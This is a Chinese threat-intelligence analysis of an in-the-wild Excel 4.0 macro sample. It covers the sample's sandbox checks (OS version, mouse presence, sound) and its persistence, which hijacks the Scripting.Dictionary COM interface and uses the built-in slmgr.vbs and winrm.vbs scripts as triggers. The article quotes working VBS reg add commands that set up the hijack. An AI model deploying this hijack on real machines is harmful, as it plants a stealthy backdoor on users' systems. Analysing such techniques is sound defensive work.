攻击技术研判｜在野宏文档攻击的反沙箱与针对性持久化技术赏析

情报背景

近期，卡巴斯基安全团队捕获了一个具有信息搜集和命令执行功能的MS Excel 4.0宏样本。攻击者对执行环境进行了充分的信息收集，保证执行环境安全之外，还针对环境中不同的安全产品采取针对性的持久化手段。本篇文章将对本次攻击事件中的沙箱检测手法及配合COM劫持的持久化技术进行分析研判。

攻击技术分析

沙箱检查方法

攻击者在诱导用户打开并启用宏后，通过宏函数执行三个基本反沙箱检查：

获取运行环境相关信息

包括系统环境名称、系统位数与NT版本号。在宏代码中，通过相关API调用可以实现对操作系统版本的判断，实例如下：

检查鼠标是否存在

在VBS脚本中，可以通过检查鼠标是否存在，以判断自身是否运行于真实环境中，示例脚本如下：

能够检测到鼠标等外设的存在

检查主机是否可以播放声音

通过这种利用正常宿主环境与沙箱环境间的差异细节进行沙箱判定，以鉴别自身是否运行在沙箱等分析环境中。通过利用虚拟机等环境在硬件上与真实环境的区别，保证执行环境的安全。

配合COM劫持利用白名单脚本完成持久化

攻击者会依据当前系统中存在的杀软选择对应的持久化方式。此处攻击者针对特定的安全产品采用了COM劫持与白名单脚本计划任务相结合的持久化手段。相较于直接在计划任务中执行恶意脚本，执行系统自带的白名单脚本更加具有隐蔽性，对特定的安全产品有较好的检测规避效果。

Scripting.Dictionary COM接口劫持后门

If chk <> "xxxSecurity" Then whome.Run "reg add HKCU\Software\Classes\Scripting.Dictionary\CLSID\ /f /ve /d {14C34482-E0A7F-44CF-B261-385B616C54EC}", 0
End If:
If chk <> "xxxSecurity" Then whome.Run "reg add HKCU\Software\Classes\CLSID\{14C34482-E0A7F-44CF-B261-385B616C54EC}\lOCALsERVER32 /f /ve /d ""wscript.exe //b C:ProgramData\winrm.vbs""",0
End If

攻击者首先在HKCU注册表（无需管理员权限）中添加自定义的CLSID，指向攻击者的恶意脚本，并篡改“Scripting.Dictionary”接口的CLSID。达到任何对“Scripting.Dictionary”接口的引用都会导致恶意VBS被执行的效果。

以白名单脚本为后门触发器实现持久化

攻击者依据执行条件选择不同的触发方式。
攻击者在执行条件满足的情况下使用系统中用于用户密钥激活的slmgr.vbs脚本触发COM劫持执行恶意代码，并创建计划任务实现持久化。除此以外，用于系统管理的自带脚本winrm.vbs也可触发该后门。这两个白名单vbs脚本中均存在引用Scripting.Dictionary的代码片段，这是触发后门的原因。

总结

1. 配合COM劫持技术，利用合法脚本中对特定接口的引用，将合法脚本作为恶意行为的触发器，增加了发现难度
2. 对运行环境与主机安全软件信息进行充分的收集，并针对不同安全产品采取针对性的规避措施，达到较好的实战效果
3. 使用基于解释性语言的恶意文件（如VBS等），增加了其避免静态检测的灵活性